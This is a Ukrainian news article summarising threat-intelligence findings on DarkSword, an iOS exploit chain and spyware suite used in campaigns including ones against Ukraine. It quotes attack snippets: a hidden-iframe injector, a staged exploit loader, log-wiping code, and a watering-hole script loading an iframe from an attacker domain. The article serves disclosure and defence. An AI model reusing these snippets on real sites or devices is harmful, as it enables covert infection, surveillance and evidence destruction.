Повний iOS-експлойт DarkSword, який вже використовують проти України

19.03.2026 2 хвилин

Google Threat Intelligence Group виявила новий повноцінний експлойт-ланцюг для iOS під назвою DarkSword. Це не одна вразливість, а цілий набір zero-day, який дозволяє атакуючому пройти шлях від браузера до kernel-рівня і повністю захопити пристрій. Найнебезпечніше те, що цей інструмент уже використовують різні актори, включно з кампаніями проти українських користувачів.

DarkSword працює на iOS 18.4–18.7 і використовує шість вразливостей для повного компромату системи. Після зараження на пристрій встановлюється один із трьох payload’ів: GHOSTBLADE, GHOSTKNIFE або GHOSTSABER. Усі вони орієнтовані на шпигунство і крадіжку даних, але відрізняються глибиною контролю над пристроєм.

Хронологія спостережень DarkSword та виправлень вразливостей

Атака починається зі звичайної сторінки, яка виглядає як легітимний сервіс. Наприклад, у кейсі з UNC6748 це був сайт під Snapchat. Всередині сторінки запускається JavaScript, який визначає, чи підходить пристрій під атаку, і запускає наступний етап.

if (!sessionStorage.getItem("uid") && isTouchScreen) {
  sessionStorage.setItem("uid", '1');
  const frame = document.createElement("iframe");
  frame.src = "frame.html?" + Math.random();
  frame.style.height = 0;
  frame.style.width = 0;
  frame.style.border = "none";
  document.body.appendChild(frame);
} else {
  top.location.href = "red";
}

Цей фрагмент виглядає простим, але виконує ключову функцію. Він створює iframe, який запускає наступний етап атаки, і одночасно не дозволяє повторно заражати той самий пристрій.

Далі завантажується loader, який відповідає за підтягування експлойтів:

function getJS(fname,method = 'GET') 
{
    try 
    {
        url = fname;
        let xhr = new XMLHttpRequest();
        xhr.open("GET", `${url}` , false);
        xhr.send(null);
        return xhr.responseText;
    }
    catch(e)
    {
        print("got error in getJS: " + e);
    }
}

Це фактично “серце” атаки. Loader динамічно підвантажує необхідні модулі залежно від версії iOS.

Далі йде підбір експлойта під конкретну версію системи:

let workerCode = "";
if(ios_version == '18,7')
    workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`);
else
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);

Саме тут видно, що атака модульна. Різні версії iOS отримують різні варіанти експлойта.

У більш просунутих кампаніях, наприклад у PARS Defense, loader уже використовує шифрування:

const keyPair = generateKeyPair();
const publicKey = exportPublicKeyAsPem(keyPair.publicKey);
const encrypted = self.btoa(publicKey);

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>', false);
xhr.send(JSON.stringify({ a: encrypted }));

Це означає, що експлойт передається не у відкритому вигляді, а в зашифрованому, що значно ускладнює аналіз.

Після отримання RCE через JavaScriptCore експлойт виходить із sandbox. Спочатку використовується вразливість у GPU-процесі, потім ще одна — для переходу до системного сервісу mediaplaybackd, і вже звідти відбувається ескалація привілеїв до рівня ядра.

Фінальний payload отримує повний доступ до системи. Наприклад, GHOSTKNIFE не тільки збирає дані, а й приховує сліди своєї роботи:

cleanLogs(){
   let files = MyHelper.getContentsOfDir("/var/mobile/Library/Logs/CrashReporter/");
   for(let file of files){
     if(file.includes("SpringBoard") || file.includes("WebKit")){
       MyHelper.deleteFileAtPath(file);
     }
   }
}

Це означає, що навіть у разі крашів система очищається від логів, які могли б видати присутність malware.

Окрема історія — атаки на Україну. Група UNC6353 використовувала watering hole, тобто заражені сайти. Код виглядає максимально просто:

(function () {
  const iframe = document.createElement("iframe");
  iframe.src = "https://static.cdncounter.net/assets/index.html";
  iframe.style.width = "1px";
  iframe.style.height = "1px";
  iframe.style.opacity = "0.01";
  document.body.appendChild(iframe);
})();

Користувач просто заходить на сайт і навіть не підозрює, що в цей момент запускається exploit chain.

У коді також знайшли російськомовний коментар:

“// если uid всё ещё нужен — просто устанавливаем”

Це непрямо підтверджує участь російських операторів у цій кампанії.

Після зараження GHOSTBLADE збирає величезну кількість даних: повідомлення, контакти, історію браузера, Wi-Fi паролі, геолокацію, файли і навіть дані криптогаманців. Інші payload’и можуть записувати звук, робити скріншоти і виконувати довільний код.

DarkSword — це не унікальний випадок. Раніше вже існував експлойт Coruna, який також використовувався різними групами. Але тут ми бачимо новий рівень — один інструмент швидко поширюється між різними акторами, що говорить про комерціалізацію ринку експлойтів.

DarkSword показує, що сучасні мобільні атаки стали більш масштабними і доступними для різних груп. Навіть складні exploit chain більше не залишаються у вузькому колі, а швидко розходяться між різними операторами.

Єдиний реальний захист — це оновлення iOS, використання Lockdown Mode і обережність при переході за підозрілими посиланнями.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.